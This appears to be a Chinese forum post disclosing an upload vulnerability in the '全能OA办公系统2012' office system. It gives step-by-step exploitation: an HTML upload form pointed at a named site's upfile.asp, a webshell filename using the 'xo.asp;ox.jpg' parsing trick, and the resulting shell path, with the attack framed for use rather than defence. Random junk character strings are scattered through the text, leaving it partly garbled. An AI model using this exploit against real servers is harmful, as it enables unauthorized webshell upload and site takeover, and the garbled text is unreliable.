全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
9 r4 b) G* v& o" R; F& H5 w5 e4 ]1 Q​
系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
公司通告
* t0 e0 B, C+ W; F! ^工作计划
2 R$ f5 N) g! {: q$ e通讯助理
客户资源
我的公文
/ e7 i% ?' A4 y% B- Y) N. a公文传阅
; W  Q6 H$ a+ l8 R! Y公共资源
资源预约
今日考勤
* d3 A2 J; r5 X0 D个人计划
个人通讯录
7 P& I; s! `0 u* u1 {' D: E% y个人基本档案
9 U! a1 \9 r0 e未读邮件
  q7 z+ K; u2 Q/ W) I* u4 t8 h- c发邮件
& f7 I% b2 g( K% [+ n- o0 U收件夹
: d3 c$ I1 l1 A* w4 G寄件夹
网络硬盘
- U3 {! e- z9 U" F# m1 S/ `网络会议
网络调查
交流论坛

' G8 y* N+ H4 _' u, g. U有兴趣测试的朋友可以下源码看看
" L5 i* X; o! }  Y  ?; c1 {
源码下载：

http://www.mycodes.net/30/4750.htm
! [6 I+ Q( ~$ ~, N
漏洞介绍：
) W/ A* k2 M/ F. d; ?/ P: |$ @
1 b2 A0 V( D. T- b! {) J1 D" k; z由upfile.asp上传文件漏洞引起

测试方法：

2 P8 I' M2 ^; l! v使用名小子上传http://www.itlynn.com/upfile.asp即可

如果upfile.asp文件被删除不存在。

+ D8 e. K8 d" W) T) Y  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。


. Q+ v, {9 D( b, w8 k. z( J
01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

* K* d/ B" o7 ]% G" L03 <tr>
% I( C0 s1 t: j" ?5 C
04             <td>报错：</td>
$ R) z. Z2 @  P1 P( w
0 Y! v, @% J' u: |6 H+ s05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名

! E1 n7 E% d% C; }( m07               <input type='radio' name='errnumber' value='1' checked>

& p+ M4 j& {; ~6 f08               报错方式
: C! K. @7 N* v2 I8 G
09               <input type='radio' name='errnumber' value='2'>
9 S% ~- d% S0 h, T& N
10               直接覆盖</td>

! K: B0 b0 u/ a* w' y0 {0 b11           </tr>

4 d- M. e' M, X3 n! v, k  r12           <tr>
' [8 P( Y- p$ f' Q
8 i8 Y" R7 n/ V6 r13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>

15           </tr>
7 H; l, _  d( ]
16           <tr>

17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>
( p$ y0 N2 c' A  I" k8 ]6 v
19           </tr>

20           <tr>
* U4 U8 h' r+ B/ |  S- a- O0 j
21             <td valign='top'>简介：</td>
5 y) L% D) I9 a8 O* G% Z
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
: g+ f) P. }( H9 \- D* I8 f) u
23           </tr>
: V; P) }; Q( ], Z: P8 N
24   
2 a, s8 |( j, G
! Q. K# L7 j( K) ^25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>
8 I7 [. D& w5 n- M  f" n  d
27         </form>
, @  K( W. G3 s  _: A4 K
然后打开上传一个文件名为xo.asp;ox.jpg的文件。


) H/ H! m8 |) _( T! v  \3 e# ~; j
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

  a3 c; d) |0 O2 |) x; Z此漏洞需要配合解析漏洞利用。
" i4 J0 R4 O! s- K